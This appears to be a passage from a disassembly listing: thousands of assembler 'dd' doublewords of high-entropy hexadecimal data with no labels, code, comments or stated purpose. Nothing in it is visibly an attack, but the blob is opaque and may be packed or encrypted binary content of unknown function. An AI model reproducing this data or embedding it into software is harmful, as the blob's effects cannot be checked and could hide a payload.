		dd 647FD51Ah, 23629F58h, 66FE1AC0h, 0A2263428h,	0D802F7FEh
		dd 2E64072Dh, 2015DC67h, 1FCF2F90h, 3BE43748h, 0A5B0FEB0h
		dd 77E5D12Ch, 3D000510h, 8907F91Ch, 6D27E9EEh, 61B3DDEBh
		dd 0D24F4C76h, 88D40CECh, 0A2E2F95Eh, 0A5BED6E9h, 229DD05Eh
		dd 0C1A60E6Dh, 3430691Fh, 25E93248h, 9B46BE8Dh,	594A9130h
		dd 3D9A18C1h, 0D5AA8C72h, 794497ACh, 7302C325h,	4FF74219h
		dd 0E8D14001h, 582E706Fh, 4B1E032Dh, 6C6EC6D6h,	8774C91Ch
		dd 820CD4C1h, 7F515301h, 831341CEh, 0F15E3DE9h,	46097474h
		dd 9BDB0B9Fh, 0EE8F92Eh, 0BAD9E7Ah, 62FE8956h, 0B6668493h
		dd 60D4BD0Ch, 0EDD14C00h, 7D21CD81h, 44376CEh, 7B31C2E5h
		dd 8007EF04h, 479BE76h,	29FA8930h, 0AB4C608Eh, 72EAC84Fh
		dd 0B3A9F9A9h, 6B56EAC8h, 1285AA58h, 0C8AEF584h, 7113F7F6h
		dd 6181762Dh, 0F97A5A0Ch, 7D1190A0h, 8F62A091h,	10557E47h
		dd 78482575h, 0F9F0B541h, 8E168BE6h, 74E42507h,	636001EAh
		dd 12E96221h, 49032B8h,	6C986D53h, 523806EAh, 0D8BDEF59h
		dd 0EFEED2F3h, 0A0DBF1D1h, 1E201E06h, 40DAA825h, 0E6DDCF9Ah
		dd 0ED9A8C6h, 474B507Dh, 8EBA0100h, 0B70B1877h,	735F5002h
		dd 4B39B900h, 81494AFDh, 1746314h, 1FDDC3B7h, 3850EFAFh
		dd 96D5A982h, 0C3DEC061h, 1F7498Dh, 3423F9B7h, 0E223EA02h
		dd 0F8D025EFh, 0D1953314h, 0BDD6A88h, 95E80BEEh, 20D0F18h
		dd 8E5FFD29h, 9955C6FCh, 13100112h, 0F1561BE5h,	2512879h
		dd 0BE0B4BBBh, 0F370E162h, 13FFC31h, 3828EB8Ch,	23F5F614h
		dd 78748B4h, 6A3BC2CBh,	51F6FBD1h, 5B5E08A0h, 29C6E2E3h
		dd 0D52FF05Fh, 5EE890C9h
		dd 16C44E68h, 0E4ABB8F0h, 0CBB99EAh, 0D4413C9Ch, 362F6BBCh
		dd 70F54A69h, 0A947AE9h, 4B90A269h, 0C433DD9Dh,	0CD8C6BD3h
		dd 26278C8h, 69399CCEh,	0E9E2DD4Bh, 0F0C235DEh,	9ACD689h
		dd 7DD9E20Dh, 2FC8D272h, 34D91B58h, 2774C788h, 33C81F8h
		dd 0E0BF02CDh, 568B8C80h, 0C82C93h, 35696EEAh, 934EE7E9h
		dd 4CBDD890h, 923F50FBh, 2227D95h, 0EBA0B83Dh, 0D4558982h
		dd 8559093Ch, 0F882945Fh, 28F2967Ch, 19F20754h,	60676808h
		dd 3B2116CAh, 0AE02754Bh, 577FBB65h, 0B2AD870h,	0F7588492h
		dd 4ED138EFh, 0E9210D99h, 289DB53Eh, 6B563422h,	10EF156h
		dd 0CC8CB77Dh, 0BAEC9D29h, 5ACF35Dh, 554F475Ah,	71CC100h
		dd 90D4963h, 6BEC2415h,	401E6476h, 930FB140h, 23A052Eh
		dd 0E93B541Bh, 0D17FC594h, 9A75696Fh, 3FE2B8h, 6B1A9BC0h
		dd 0C3AB02Fh, 1D4F611Eh, 2912520Ch, 90076CC7h, 0B9A4A50Fh
		dd 0E6F513EBh, 326610E8h, 89190E4Ch, 0F5E5D196h, 0DA002A70h
		dd 247D03BDh, 2EDD9041h, 655FDFB5h, 724BF29h, 0F685DD81h
		dd 0C9AAC004h, 41307F36h, 4954A879h, 4480B82Fh,	887204A3h
		dd 0A5ECACA0h, 26C2B5AAh, 17D216C3h, 0BA0599D0h, 71E42B8h
		dd 0EC4AB3F8h, 0C37730A8h, 1E80EE81h, 0CA646B20h, 819E92A1h
		dd 71280FEFh, 3B072C37h, 51E68FCBh, 0DC55AC29h,	87BB807Dh
		dd 0B0E73132h, 1859C0C3h, 40B498A2h, 1516BBF1h,	0EA003E25h
		dd 4F558AEBh, 60059045h, 7F1B41D3h, 3E803934h, 412824FEh
		dd 2F831C1Eh, 1C739675h, 0F9EFCF80h, 840EEF5Ah,	22529278h
		dd 0D81B99ABh, 0E73980DFh, 6FC79AF1h, 0AFB34520h, 6614E5D4h
		dd 0DC2510D0h, 9E00E84Fh, 2BFB2A8Bh, 6FC5FC2Fh,	41201885h
		dd 370ACAA3h, 0AB40CA78h, 2E017AC1h, 0E9D12936h, 0FD3A93A9h
		dd 728EC7A0h, 28677D09h, 170D48ADh, 2FF495FAh, 0FDD90E2h
		dd 0E0C0BD20h, 0E1093407h, 0FF283F2Ch, 88BBF7E8h, 0CC181895h
		dd 14D3C4F7h, 6C04128Dh, 0EDAE5896h, 3BFD0545h,	0C1809FBEh
		dd 4AF40F32h, 0D1A10629h, 73B54E48h, 4496BE88h,	2D790E2h
		dd 0A890D42Eh, 6395C606h, 30C5214h, 1587588Dh, 6841EE29h
		dd 140CA008h, 0F888C4BEh, 0B6F6250Ch, 60D298C5h, 641C555Ah
		dd 4B332E20h, 2A93895Fh, 8B9FB4E2h, 835EF7h, 5127C870h
		dd 447EE141h, 15DCA53Ah, 0B4F91717h, 7ABF18DCh,	95FD23Bh
		dd 0D67B6061h, 5471E904h, 31099CFEh, 756A140h, 0C5335268h
		dd 0BBACB269h, 0F6ACBFD6h, 2916D11Fh, 42CB915Fh, 707E48Ch
		dd 0EB801FB3h, 9C8DDB0Ch, 79BD7F38h, 0BA47B0F4h, 3C228518h
		dd 80A5D156h, 8161668h,	0AE173825h, 387F9EAEh, 5EB438E9h
		dd 951231FAh, 0E5316A62h, 953F9C60h, 0C4A609DBh, 0B08F7229h
		dd 0F0C062EBh, 0F890C0BFh, 0F1893E27h, 0C083607Fh, 170B2DFFh
		dd 7943844Bh, 5EC66015h, 0F72F2B79h, 0BA172DDh,	0ADC1FE6h
		dd 0CB42240Bh, 0F6E266DFh, 0AF06123Dh, 0CB50AA4Bh, 0A4267D08h
		dd 0F1802D46h, 59CE306Dh, 0A3B11D51h, 73E98B28h, 0AD84D5F2h
		dd 108B14CBh, 0E1C28C9h, 306831D3h, 0BDB332h, 236490Ah
		dd 6AF7F387h, 253408DEh, 0D6B79970h, 0C75DC999h, 0BCE904CFh
		dd 517CA44h, 180C6851h,	592FF38Eh, 44F61368h, 35CB0212h
		dd 7043AC5h, 13C4FF0Fh,	8DA8AAh, 0F318DFEEh, 90CE2965h
		dd 590881D7h, 2D0B892Ch, 4E8E346Bh, 63E9C822h, 0D0776F0h
		dd 3C9B7BDCh, 5A69E9AFh, 88C69DC0h, 2F8CC64Eh, 5634391h
		dd 0EC0AE957h, 0E27E31FEh, 812E7286h, 377661C3h, 10F38096h
		dd 0E90A0826h, 0AFCF3FEEh, 0E80BEB1Bh, 80371FD0h, 0E908EA19h
		dd 6BFD6228h, 1A405EF5h, 0DD2D6547h, 2325029h, 681F6452h
		dd 52A06F9Ah, 341375B9h, 0B55AD8BFh, 0D7EDD330h, 28C5DA04h
		dd 9AB20E9h, 674D5767h,	65AA0196h, 2F06AE3Bh, 259AA449h
		dd 6AA25640h, 1D0FF928h, 881CF7E7h, 0DA705CB5h,	0BD93B1F7h
		dd 82B04255h, 0B3CB4F61h, 0E7F8CA05h, 0ED0970A8h, 0F56CC07Dh
		dd 0BF6B75A2h, 0C5FF4D92h, 0A1E79703h, 489E7F7Fh, 0ECE3047Dh
		dd 876C5B62h, 0A36ED506h, 613D0F31h, 0E8D1663Ah, 0A92D0004h
		dd 9F06346h, 5E9058C6h,	0EB571609h, 9C760019h, 121E8601h
		dd 54F8DBE9h, 404B31D0h, 920EA88h, 0CC14B9Bh, 63089E7Bh
		dd 0F910C07Dh, 4C15F83h, 0FA51354h, 0C62582F0h,	3AFD4565h
		dd 55585E40h, 375B18Ch,	0C9C20BA0h, 447D5882h, 482BF832h
		dd 0BBA5ECAAh, 96DC1CD1h, 0AC77352Ah, 9086BD4Ch, 1847B768h
		dd 5E4FEBEAh, 1565F99Ah, 9428FB53h, 12700968h, 51025CD4h
		dd 75098EEEh, 0F92D80C3h, 91BCDF58h, 59FAFE9Fh,	0FEA648B6h
		dd 2191F3FEh, 4082746Ch, 0D7DE66CFh, 17557E4Eh,	5A132CABh
		dd 68535001h, 7036794h,	0D6E5022Eh, 0FE40779Fh,	648ACEA3h
		dd 736812D5h, 0C1F6E83Fh, 178F7A1Ch, 19C10502h,	0F9DFC27Bh
		dd 0C3AEC270h, 504B9CFEh, 0D8034A0Bh, 615E05DAh, 0A2CD09E4h
		dd 0F9EAF582h, 94531655h, 19E809B6h, 0D550BA75h, 5A5F08B2h
		dd 2FA64163h, 90AF19C5h, 6652CC2Bh, 0FB5B3425h,	0D4524988h
		dd 50629420h, 819A9152h, 35E52758h, 40AEE93Fh, 60FEC195h
		dd 212F4737h, 0CEAAE0CFh, 14201004h, 0F2AB9B01h, 556ED7C2h
		dd 0AC1F484Eh, 7D77E181h, 0F03F4FBEh, 0E32E0C97h, 0AA107D6Eh
		dd 646C680Ch, 71409787h, 387B975Eh, 0DD30F54Bh,	7C559CE9h
		dd 296320BFh, 70E7FB1Fh, 6662DE0Bh, 6C222E4Bh, 20AAC02Fh
		dd 0A69844ACh, 0CA6ACD06h, 0BDA4E95Bh, 0DC4BABF6h, 0FEA922EDh
		dd 44C06521h, 5CF0BE5Bh, 77029576h, 6AF9595Ah, 69FA5E49h
		dd 2F8D6CDFh, 0F709CEE9h, 0C1B80EF7h, 608746Fh,	128872DFh
		dd 0BE372F88h, 0FCB7448Dh, 7C57F06Ah, 0CBF4A686h, 31EE0A1h
		dd 0E7CEF05Fh, 1B9C3E06h, 620AAC17h, 7F6AA2DFh,	55644C7Ch
		dd 41E5C383h, 783C8FF9h, 2B715B89h, 78DA6049h, 44C32C39h
		dd 71C017Ch, 0C42D2B7Ch, 3316C71Bh, 6F0AD001h, 0B4A89831h
		dd 3FC9BE5Ah, 0E9C27422h, 9B08ACFFh, 0F33BD202h, 2BD2770Ch
		dd 0A52FBA0Ch, 0F302124Fh, 2006D6F0h, 8641760h,	0F3F00706h
		dd 0F8621CC6h, 0E0DC3101h, 0C0FE01F6h, 482D8D5h, 0C3281134h
		dd 0BC3061E4h, 0C0C82598h, 75077BE8h, 95E07308h, 30C1B8C1h
		dd 0F40BB7ECh, 7F2C780h, 5FCB5BDDh, 0A3F09010h,	0CD1B489Fh
		dd 58D3BF97h, 60CFF027h, 2FBE16D5h, 7F4A1762h, 51653AFh
		dd 0BB8DF446h, 0BFCB86D0h, 28A9254Dh, 0A07D2E62h, 11797EF4h
		dd 0E293A020h, 0C0AE750Eh, 2C5B57F2h, 41DC0921h, 4BC3F8CEh
		dd 0B027D875h, 0D8E91AAAh, 16FD829Eh, 4CDDFEFEh, 429D0FC2h
		dd 35873F56h, 4D25ADE4h, 0E51A92B5h, 6D762DD9h,	0E9090953h
		dd 935C346Ah, 0B26397BBh, 61986321h, 133A3FF9h,	0C89C0018h
		dd 127AE51h, 8F037C95h,	22D22AE9h, 0DD743225h, 77A3CE81h
		dd 0E4ED7F5Fh, 1E6A177Eh, 0D180C4Dh, 6AC1C575h,	3F8F615Bh
		dd 0BF44BAF4h, 8C128EAh, 0B4D7A64Fh, 0E0C3AD3Fh, 0EC68015h
		dd 5AF328DFh, 0C941893Fh, 88B24E7Dh, 8180EEFDh,	0AA8E3E58h
		dd 9E4DE25Bh, 0F460E949h, 1B592DFBh, 4253F152h,	0C25C27E9h
		dd 59DDB900h, 4F01779Eh, 0C92FB2CAh, 0B48588Fh,	13CD685Eh
		dd 0BEF77099h, 0C9E93DA2h, 2BA14E58h, 0F09B043Bh, 44FC16DCh
		dd 0B00826h, 6F6D0E31h,	0F734D187h, 478708D2h, 211507AEh
		dd 855CFD53h, 9127CABBh, 68520451h, 3DAB7816h, 1CC603Fh
		dd 0E0CC1E5Bh, 267807EAh
		dd 53E7811Fh, 0E9C0607Dh, 0CEB27972h, 5E745B72h, 2CEF0898h
		dd 0F01D10C9h, 43A8BB00h, 0E381418Ah, 0DE546202h, 41564B1Ah
		dd 0B500CB55h, 0E8392837h, 12F0BE59h, 0D9EEB7FBh, 7C894794h
		dd 25416871h, 8510C339h, 0D3011CDEh, 0FC5B2B8Bh, 0AE963EBh
		dd 0B15100A4h, 4A8FB391h, 16BC1C30h, 445C61C6h,	81658210h
		dd 0FD1B92EBh, 0B91E647Ah, 78AC4185h, 0E6A3108h, 30E6F188h
		dd 872F0EC5h, 7F8BDDDFh, 514246DCh, 0B0D2B68Fh,	9D975F13h
		dd 9377EC11h, 50E816D7h, 0DAF10DDBh, 527834E6h,	0D7AAFE4Bh
		dd 68C66039h, 43B33881h, 90D1F40Bh, 82C20449h, 295A4055h
		dd 0A221692Eh, 0DCBD24C0h, 18A04F16h, 9F448A12h, 0B2AF595Fh
		dd 69998404h, 271DCEBAh, 5CF1E278h, 0E5076B6Eh,	18FD0BA5h
		dd 0FE463E52h, 0E6810073h, 4A7414ECh, 0A061B3E9h, 407CBA28h
		dd 9A4008C1h, 148A64A9h, 0CDD3297Fh, 16200841h,	38F35458h
		dd 4A36F25Ch, 916D911Ch, 0AD2114C0h, 82399211h,	62B05804h
		dd 0E4FBD7FDh, 0B1CAF50Eh, 43030610h, 13911060h, 306154Ch
		dd 9D4B86F6h, 5BDF31C0h, 5F2CFEE6h, 571C2653h, 0FA7975FDh
		dd 0A4D86BFBh, 6F9E09C2h, 7E025AECh, 0F95DB675h, 1CA54CEFh
		dd 728A794Fh, 0ABD4018h, 0F0BD5E55h, 9971F37h, 222D00C9h
		dd 5503310h, 0E132B914h, 425827E2h, 3753D5C8h, 0A232C6C2h
		dd 0F9037BEBh, 62C589ACh, 12D13ADFh, 0DD59F755h, 0E0515D5Ah
		dd 68DE108h, 816FDE68h,	3F6B2A32h, 576AF7C5h, 0CA50FEABh
		dd 401DF59Eh, 42871593h, 2B3768C1h, 45ED61CDh, 0FA4B336Ch
		dd 7D42E939h, 31F54888h, 13F8E4C7h, 35290B68h, 3BC19773h
		dd 325B26F0h, 970141CCh, 7A597656h, 0FE0987E3h,	0F84F6D5Bh
		dd 4291033Fh, 7C46DA2Fh, 0D601345Dh, 72C2D4C2h,	7BCAA4C4h
		dd 0CE8C81DDh, 44FEF260h, 2FE274Eh, 0B7BDA55Bh,	0EA00D5Fh
		dd 3D66F360h, 55B1F821h, 204E6F28h, 0A82BE957h,	2FBB1F11h
		dd 0F410CC5Eh, 5004BD05h, 7B81AB5Fh, 247ADC19h,	3892ECA4h
		dd 907BC164h, 0EC542292h, 0F281450Dh, 2380D26h,	5EFE8B4Fh
		dd 0EF4BCBF7h, 0B0752509h, 97B2FF5Ch, 0F3D7544h, 604B1CC8h
		dd 0BC90572Fh, 0C697C0A2h, 815020FCh, 68EA1390h, 0F5085625h
		dd 2708B208h, 0AFCD9548h, 0A7832DDDh, 0D9416F2Ah, 413452E8h
		dd 69DEFA44h, 4084CAA3h, 1A4A14A2h, 553AB446h, 10ED76A7h
		dd 16A0876h, 8204B9Ch, 0CF54E93Dh, 0C49FC41h, 0F03F11EFh
		dd 0D1092D74h, 0FDDB801Ah, 0A6FF3DC8h, 0B0B2C030h, 5EEE25BCh
		dd 0E7A50Ah, 3374E908h,	34C78DD0h, 0D8C88F14h, 8B6BE101h
		dd 56C12777h, 6DF100C1h, 31A35A5Eh, 88F9DCB5h, 0C1059AF9h
		dd 0F2C206E2h, 0B1A0DF58h, 0DD0F759h, 0DC19F83Fh, 1AC314ECh
		dd 7557CBBCh, 925D196h,	62BEFC80h, 917AB121h, 1CA08748h
		dd 5E65FF80h, 59D5FA94h, 42C646Fh, 8FABC697h, 770D2CFFh
		dd 0BC655CA7h, 91C0F396h, 3BBA2E62h, 0DFEF3E31h, 14704D34h
		dd 0ED0DE069h, 3606E300h, 0E943652Fh, 20A285Ah,	0DF2D8A21h
		dd 1F682521h, 267E5476h, 0E9250D44h, 0BCF8F934h, 82410725h
		dd 1603375Ah, 3FB47D5Eh, 548A02EFh, 0CF291D56h,	8072142h
		dd 94778901h, 0E90DC24Bh, 8654B169h, 17EBF650h,	977597Dh
		dd 0A0DB975Ah, 0EBE2010Bh, 1ED1B936h, 3F0CB32Bh, 0B8A84A83h
		dd 57385DC6h, 1BD4C305h, 0A2AA6BA2h, 0D8BAC937h, 0C4E595EAh
		dd 21AF52Ch, 4791DDEDh,	3A122F03h, 287BD2E1h, 4540D064h
		dd 0D4B85B50h, 0BE3CC033h, 35F4232h, 840BDADh, 0BB5AD658h
		dd 8F4C03CFh, 341568B0h, 0CC5BC730h, 287C3EC5h,	0E4C02A44h
		dd 860B2FB0h, 0F3775D3Ah, 218D2794h, 82706969h,	787F6CE9h
		dd 68F90946h, 42440B51h, 0E99C5004h, 32BE7EEDh,	0A6D629F3h
		dd 0B785EB9Dh, 45C0BC42h, 5A1D26BDh, 0DC78E07Ah, 4CBA0E02h
		dd 92CE9h, 471CFC68h, 84C24848h, 9DAF5931h, 5AE7989h, 552827CFh
		dd 77E80B25h, 0FC65740Ah, 1FBA08BFh, 8FEE4028h,	0E34FC363h
		dd 0D15DBA68h, 182A80FFh, 0E2D1178Ah, 352BE91Ah, 66C5601Eh
		dd 0C0864F58h, 0F18059A1h, 0C30FEC73h, 9CB281Bh, 5CA8E1EBh
		dd 0F9B0AE05h, 258BA862h, 7A647B9Dh, 0A66E5431h, 2F123EBEh
		dd 0BD6323A5h, 0E905061Fh, 25188D3h, 82FD50CFh,	692FE141h
		dd 2FD869B3h, 0E9AE81AAh, 893E2C8Dh, 8A10E0C7h,	592B1495h
		dd 0ED5F29ABh, 5A4B0161h, 2D5828C4h, 5AC40644h,	2FDDFDAEh
		dd 0DD601A52h, 0A0573485h, 482E6810h, 5660525Dh, 120783BEh
		dd 0F25243DBh, 0AC5F2E3Ah, 506C7725h, 790B2798h, 0FF28C851h
		dd 12088428h, 0C65AAD5Ah, 0EBB7DB4h, 473A68BDh,	636F3278h
		dd 0E910980Bh, 0FA617241h, 9C2C749Bh, 0ED663C20h, 13B11C02h
		dd 266AE914h, 9510C554h, 0E2005D26h, 665F152Ch,	0BA5F4A3Dh
		dd 0FE4F858Ah, 75BFA974h, 0F604230h, 0B184BF6Bh, 4453EA91h
		dd 6D8DED0Ah, 5E1F8A02h, 0F08B7D50h, 0BA0805Eh,	84145B58h
		dd 0AA179280h, 0C851888Ch, 0BA01D6CAh, 48E45B82h, 8216F160h
		dd 0F4BC5257h, 0DD8555B3h, 6AF4A720h, 167236FEh, 3AC1D7Dh
		dd 63B65266h, 0F40DC6D1h, 0C00F0EF6h, 39FE06E6h, 0EEF8E516h
		dd 0EC70E1C5h, 4E42BF5Ah, 125DD257h, 5D93BDE9h,	5BDE8B6Fh
		dd 4468B3B0h, 0E8C26CB7h, 53E1880Eh, 374933F0h,	93E73FC9h
		dd 4B4FAB9Ah, 2B8ACBD3h, 2D80759Eh, 66212CF6h, 568530Ah
		dd 1A88DF51h, 0BA093D71h, 0B592AE4Bh, 0FAFDBEDDh, 60309E0Ch
		dd 374A19DCh, 0C9ACC4C9h, 0A0CD4950h, 381CDA88h, 0F8C6830Fh
		dd 9AA20ABAh, 27CB7688h, 3080C230h, 24F40610h, 6D1D8EB7h
		dd 4F106EBh, 1243C3FCh,	1F053A1Eh, 4C5249B9h, 8B860F5h
		dd 40BD25Bh, 127DD6B7h,	38597209h, 0BA5295h, 16AC56DCh
		dd 3EAF281h, 0E97D0E06h, 0FED8A3Dh, 825009F6h, 0F2F53165h
		dd 0EE0185C5h, 30378DEBh, 0B64026BFh, 0A64895BBh, 3EEBD829h
		dd 65119C80h, 53623773h, 41171080h, 0D5A08978h,	0A7A6B22Fh
		dd 0D8671EF0h, 0E51F404Ah, 0F2BAF0D4h, 149102E8h, 6D5F38F3h
		dd 8B3A267Eh, 6DDDE0D3h, 0B519A8C2h, 0CB787A89h, 40388F24h
		dd 7C3BF2CDh, 0E10BF7E5h, 14124C68h, 7B6C2581h,	8118C551h
		dd 14637634h, 0B25E7393h, 5590740h, 19E9F231h, 0AF77FFB7h
		dd 31DB0B2h, 7EBBFC30h,	0DFD21954h, 97B8CB5Ah, 0B2D85AC5h
		dd 10AB483Bh, 355AF873h, 2745BA2Ah, 3DB6A124h, 0E1685605h
		dd 5882985Ch, 797C2F07h, 7750CA81h, 2DE966E0h, 0DFDB15ECh
		dd 9079E9C1h, 0E072FA2Bh, 16570983h, 49E919C5h,	4177D1B2h
		dd 37ACAFEh, 53F2EF59h,	0D8D28Ch, 0ECC0D4F6h, 0C1CC8005h
		dd 0D8EDD9E7h, 0E92D60C4h, 177820Bh, 3334C0D8h,	98258499h
		dd 5AF2D490h, 39E97654h, 7628C5F4h, 59CB0902h, 2540EBD1h
		dd 0EC2D78E6h, 5EBA555Bh, 26757380h, 0E8B70E10h, 0C3B7A73h
		dd 0D301BD56h, 0B480B0A4h, 0E2302EDEh, 26801D29h, 9D011565h
		dd 5ED04E70h, 6135C830h, 3016B412h, 0D72D4D1Ch,	0AC278A96h
		dd 20A3E676h, 495E51C9h, 447764C0h, 960CC05Ch, 1797AF4h
		dd 7092D8DFh, 53C9B3E8h, 63A2DE00h, 36BE0990h, 0B3A4680Fh
		dd 771C69A3h, 136D364h,	0B80F3F7Ah, 95902F7Bh, 2C1716F3h
		dd 163EBBE3h, 663449D8h, 0BEC8A05Eh, 8ECCD752h,	77EA8B2Eh
		dd 0DDD10189h, 0A233D466h, 58083877h, 104BCC0h,	23E2E68h
		dd 0C9A6C2E9h, 0E5C9FC11h, 243C37E5h, 4E8CCC4Ah, 0F69507FCh
		dd 9C72AD53h
		dd 10D2501h, 0F7054528h, 0B5FA8160h, 76E9BFE0h,	5E92BA5Eh
		dd 1884D7BEh, 0E4B6BC5Bh, 0CA585FD1h, 2603BD64h, 380474Bh
		dd 0F7315AD7h, 85FBFFAh, 0EA2EDA0Eh, 2FF1E959h,	738A3Fh
		dd 60F86BF1h, 265B4EBBh, 100C2762h, 0D680A30h, 57898547h
		dd 0A51E79A3h, 0B1856877h, 11733223h, 7377A738h, 2D680E4Dh
		dd 84A9ADF6h, 0CAFB2701h, 206926Fh, 228B9FC1h, 0CE2714A5h
		dd 726E5CC9h, 69E7F157h, 5DF29784h, 0C867F503h,	9D0C044Fh
		dd 0C036CD56h, 7E7C714Eh, 0F1E9180Bh, 6F0AF46Ch, 13B35B26h
		dd 18BE2848h, 0EB51AAF6h, 16107714h, 10FB2977h,	8A4E0815h
		dd 0FD051DC0h, 0E9564581h, 0D9925B74h, 0CA33AA36h, 81A2CB57h
		dd 8020589Bh, 4DD803CFh, 0CCE97821h, 38B2BBC4h,	0BC20E748h
		dd 9AF80127h, 66C57D74h, 0F945E985h, 6AA1E2BCh,	0ADBA04EDh
		dd 0C0A893B7h, 0EFE2E90Ch, 35005D1Eh, 3C456F5Eh, 9758C731h
		dd 0F89FAAD8h, 6E00194h, 64E97B38h, 9FDB821Ch, 7D134065h
		dd 4F60E4D9h, 9035223Bh, 66E50FFBh, 0E7815A6Fh,	0FA935F65h
		dd 0C6E3D18Eh, 0C394616Ch, 0CBE9C924h, 0B085434Eh, 0F77C0987h
		dd 0CBA1DC27h, 45E9F4E3h, 10EF2A35h, 5A0408B2h,	0AD1E3A68h
		dd 80E9A023h, 0B96DBE0Ch, 4B7A805Ch, 387CF108h,	0B32D0D7Bh
		dd 0FB2B1017h, 0FC316976h, 95659F7Fh, 9799FA2Dh, 0D16B9DFBh
		dd 0C47E4B4Eh, 3AD16885h, 0E92D2CEBh, 23090F4Fh, 0A18BDD58h
		dd 553BBAD7h, 0EB8914D1h, 0A43B79D1h, 0F54142FBh, 68E1EAF6h
		dd 57C21A9Bh, 5CC5F271h, 7618A4AEh, 9159F140h, 0E55569CDh
		dd 34CFACEFh, 0DA37A829h, 3CBA7F0Ch, 90C5B55h, 0EA7DE63Eh
		dd 8217C22h, 1526A79Dh,	0D9AD6B0Bh, 2C3FE2F6h, 1FCF609h
		dd 0B705D425h, 68118575h, 0AC457837h, 2B8D4067h, 0C833B941h
		dd 0F300D532h, 47CC111Dh, 0DF7F2958h, 0D195BEE2h, 0BCA66F1Eh
		dd 2800751Dh, 8118F706h, 3B6F8420h, 3B700BD0h, 332E7F21h
		dd 47C70B38h, 0C5825593h, 0E830EEC0h, 960C8B27h, 41EE98E4h
		dd 596822Dh, 0F8B866B5h, 0BB530FCFh, 0F217339h,	2A611D68h
		dd 471B5B30h, 26786065h, 998519Eh, 81FEE925h, 0C0835EFFh
		dd 581E8B3Fh, 848EC4BAh, 4F4335E4h, 0F822C96Ah,	48C2C3AAh
		dd 4C6DD768h, 163B005Eh, 8C3513C5h, 1227DC19h, 8DB5931h
		dd 18859E05h, 17EAC94Ah, 4090BBA0h, 97FA36B1h, 0A827805Dh
		dd 2F28ED48h, 7E704E5Eh, 36E41097h, 30A0248Eh, 545018CAh
		dd 0A2127CBBh, 30C4AFADh, 0D082C8C5h, 0EF88027Bh, 5A588B7Eh
		dd 0E8514E66h, 90EE961Ch, 0F23FD602h, 75DF6817h, 0EA783FB3h
		dd 6903B1FDh, 0A1A2A0C8h, 28254BBAh, 4018F7D8h,	466E5B2h
		dd 7678D0B0h, 0E7F2B5B5h, 0C6975AF0h, 3F68F452h, 0D75C5D61h
		dd 0E36CE884h, 62DF2D7Bh, 5CF657D0h, 0BC899FCEh, 60107CC5h
		dd 48E842EEh, 1473E0D6h, 0E91B12F3h, 5EA9C221h,	3E06E460h
		dd 0EFBA8A7Fh, 54D409Dh, 0E74B1EF2h, 2DE80A7Ah,	0EE793407h
		dd 0E316512Ch, 5165323Bh, 801BF155h, 5D990AB4h,	2E5B34E9h
		dd 878539F3h, 0C04EA814h, 3EF6B9Fh, 62A7A2C1h, 950CF20Ch
		dd 6E0060D8h, 0BF5B3C20h, 2F7B49E1h, 0CC763138h, 0E4480959h
		dd 88D325E9h, 3B275EC6h, 0D61A87BEh, 0EEEAF2h, 5259CC88h
		dd 2E8EB63Bh, 0E5011CF5h, 40C38058h, 0E13DEBCCh, 831075CFh
		dd 51F0E9D8h, 0E2C22EB7h, 0FE4E0Bh, 748B3C90h, 0F29A82B7h
		dd 89EC55B8h, 0BE84B282h, 66B691DAh, 0C4883837h, 62940FD2h
		dd 46F90BFh, 171CED80h,	888B5253h, 480E75EBh, 965AD3A6h
		dd 0E9DDC4C2h, 8774D4A7h, 0E40CCCC6h, 48908E11h, 0BF6584E8h
		dd 0BAED8304h, 0B4F5EFA8h, 3A130E33h, 23090ABBh, 304166B4h
		dd 0BA78B3CCh, 662821ABh, 391E8B27h, 82250129h,	0F58BDC81h
		dd 6C381918h, 0B965882h, 648C080Eh, 5F50985h, 0D21AE907h
		dd 0B5615883h, 0F709C221h, 0D9F79D02h, 59108560h, 4D2024B2h
		dd 0E07BDB3h, 0AA692468h, 705DCA98h, 32FC951Eh,	2A7F46Fh
		dd 43576205h, 16627534h, 0E95A0700h, 0C2E1A86Eh, 20D22AFCh
		dd 90D4EB91h, 535D3B19h, 0AC0F7F82h, 0D0765B47h, 642E300h
		dd 9C1221Fh, 0E4E905EBh, 9FC0C142h, 6A2FF9CFh, 57B7EA2h
		dd 611EDDh, 485FF8A1h, 0E476C92Dh, 58492CF7h, 96C5E43Dh
		dd 0F3F2D0AAh, 412E52FBh, 1125B63h, 0BAF0ADBCh,	3D167DA8h
		dd 0EFB421Eh, 957C4696h, 0BD16DBE7h, 0E50EEC33h, 229A90ABh
		dd 4D5C2028h, 6C0878EEh, 1236Bh, 19D3BE56h, 499030AAh
		dd 3B7DA35Ch, 5ECE020Ah, 60692973h, 130D1F4Ah, 0EE3176CDh
		dd 5C25C409h, 0C75B2D96h, 93A7E84Bh, 4CF58261h,	0FB685FE5h
		dd 42E9E304h, 8F27C3A1h, 7D0AA907h, 2BE9E007h, 372CB843h
		dd 0FE2D3B83h, 2F5A40F5h, 0EAED1ECFh, 7BE0A09Bh, 5304F641h
		dd 4559CD89h, 407BF2EBh, 5CB260C1h, 37F9D61Fh, 25DD0148h
		dd 68AF307Dh, 0BC654A34h, 6098F601h, 30BF5475h,	0F5A310Bh
		dd 0B440D7BCh, 9047E11h, 9AFCE92Eh, 0C3F6CE6Eh,	912B4241h
		dd 3E7C46F7h, 0D048D5CBh, 0DDEE4C5Eh, 0A3127DCAh, 93F88C98h
		dd 23B95101h, 3B63701Dh, 6CFC991h, 0DAFC42A5h, 23A90E47h
		dd 0E1C6E73Bh, 0D1DB79D5h, 5D93EA0h, 12580270h,	43182014h
		dd 93A8E968h, 98D1FD3Bh, 0C643B439h, 0AFC81E08h, 0F106DFE1h
		dd 97F80916h, 13A3D50Eh, 50A93010h, 819C137Ch, 4E2C5907h
		dd 0B2807CE2h, 0CE5CFBh, 0B179C4B8h, 9F092557h,	0F72AB061h
		dd 0D1039310h, 3B0B61E7h, 26E9E617h, 25902E9Dh,	0FC7E73E2h
		dd 7BEA6805h, 853C0CE3h, 0FC4C3918h, 3A040609h,	2FACE944h
		dd 0B8C224BEh, 769C0196h, 98BD35A3h, 0E05E0BAFh, 79612209h
		dd 59548918h, 61E955B1h, 64242B18h, 2CC9B4FAh, 0A16B7141h
		dd 0E83840F0h, 3E5AFA68h, 0E050D31h, 0AE921722h, 5BDF1ECDh
		dd 0E828ECE5h, 78B225BBh, 60CB3FC0h, 44C41B17h,	0E2B1E3ECh
		dd 0EE7A6477h, 6B3DF39Dh, 0E587B7Ch, 83C082BFh,	3FC98A56h
		dd 4D8104EFh, 334BC347h, 0D0B7C878h, 1388356Dh,	20CF7695h
